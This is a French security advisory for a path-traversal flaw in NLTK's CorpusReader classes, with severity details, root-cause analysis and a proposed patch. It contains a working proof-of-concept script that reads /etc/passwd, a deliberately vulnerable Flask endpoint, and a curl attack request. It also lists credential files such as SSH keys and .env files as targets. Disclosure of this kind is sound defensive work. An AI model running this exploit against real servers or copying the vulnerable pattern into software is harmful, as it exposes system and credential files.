
Une vulnérabilité dans les versions de NLTK jusqu'à la 3.9.2 incluse permet la lecture arbitraire de fichiers via une traversée de chemin (path traversal) dans plusieurs classes CorpusReader, notamment WordListCorpusReader, TaggedCorpusReader et BracketParseCorpusReader.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-0847 |
| Paquet | nltk (Natural Language Toolkit) |
| Registre | PyPI |
| Versions concernées | <= 3.9.2 |
| Type de vulnérabilité | CWE-22 : Traversée de chemin |
| Score CVSS | 8.6 (Élevé) |
| Vecteur d'attaque | Réseau |
| Complexité d'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Faible |
| Impact sur la disponibilité | Faible |
| Signalé le | 4 décembre 2025 |
| CVE publiée | 4 mars 2026 |
| Soutenue par | Palo Alto Networks / Prisma AIRS |
| Statut | Corrigé |
Plusieurs classes CorpusReader de la bibliothèque NLTK acceptent des arguments de chemin de fichier sans appliquer de canonicalisation des chemins, de validation par liste d'autorisation ni de restrictions de bac à sable. Lorsqu'un attaquant contrôle le nom de fichier du corpus ou l'entrée de fichier — un scénario courant dans les API d'apprentissage automatique, les pipelines NLP basés sur le téléversement de fichiers et les services de chatbot — il peut fournir un chemin spécialement conçu pour traverser la hiérarchie des répertoires et lire des fichiers arbitraires sur le serveur.
Cette vulnérabilité est particulièrement critique dans les déploiements en réseau où NLTK traite des chemins de fichiers contrôlés par l'utilisateur, car son exploitation ne requiert ni authentification ni privilège.
| Classe | Fichier | Statut |
|---|---|---|
WordListCorpusReader | wordlist.py L1–L120 | Vulnérable |
TaggedCorpusReader | tagged.py L1–L140 | Vulnérable |
BracketParseCorpusReader | bracket_parse.py L1–L150 | Vulnérable |
| Autres classes utilisant le même modèle de base | — | En attente d'un audit plus large |
Les trois classes héritent de la même méthode non sécurisée CorpusReader.open(), qui n'applique aucune restriction de chemin avant de résoudre et de lire l'identifiant de fichier fourni.
L'exploitation réussie de cette vulnérabilité peut entraîner :
/etc/passwd, /etc/shadow et /var/log/auth.log~/.ssh/id_rsa), les fichiers .env, les jetons API et les fichiers d'identifiants cloud peuvent être extraitsCes informations sont fournies uniquement à des fins éducatives et défensives. Ne testez pas sur des systèmes que vous ne possédez pas ou que vous n'avez pas l'autorisation explicite de tester.
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes
from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
root = FileSystemPathPointer("/") # unrestricted filesystem root
target = "etc/passwd" # any sensitive file path
print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])
print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])
print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])
Sortie (abrégée) :
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh
Un scénario réaliste dans lequel NLTK est exposé via une API HTTP :
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer
app = Flask(__name__)
root = FileSystemPathPointer("/")
@app.post("/read")
def read_file():
filename = request.json.get("file")
reader = WordListCorpusReader(root, [filename])
return reader.raw(filename)
app.run("0.0.0.0", 8000)
Requête de l'attaquant :
curl -X POST http://TARGET:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "etc/passwd"}'
Résultat : le contenu intégral de /etc/passwd est renvoyé à l'attaquant sans qu'aucune authentification ne soit requise.
La vulnérabilité trouve son origine dans CorpusReader.open(). La méthode résout le fileid fourni directement par rapport au chemin racine configuré à l'aide de FileSystemPathPointer.join(), sans effectuer aucune des vérifications suivantes :
..)Étant donné que FileSystemPathPointer peut être initialisé avec /, un attaquant qui contrôle l'argument filename dispose d'un accès en lecture sans restriction à l'ensemble du système de fichiers.
Correctif minimal proposé par le chercheur, à appliquer dans CorpusReader.open() :
import os
normalized = fileid.replace("\\", "/")
# Block absolute paths
if os.path.isabs(normalized):
raise ValueError("Absolute paths are not permitted.")
# Block directory traversal sequences
if ".." in normalized.split("/"):
raise ValueError("Path traversal sequences are not permitted.")
# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
os.path.normpath(self._root._path)
):
raise ValueError("Path escapes the corpus root directory.")
La pull request de correctif en amont est disponible à l'adresse : https://github.com/nltk/nltk/pull/3479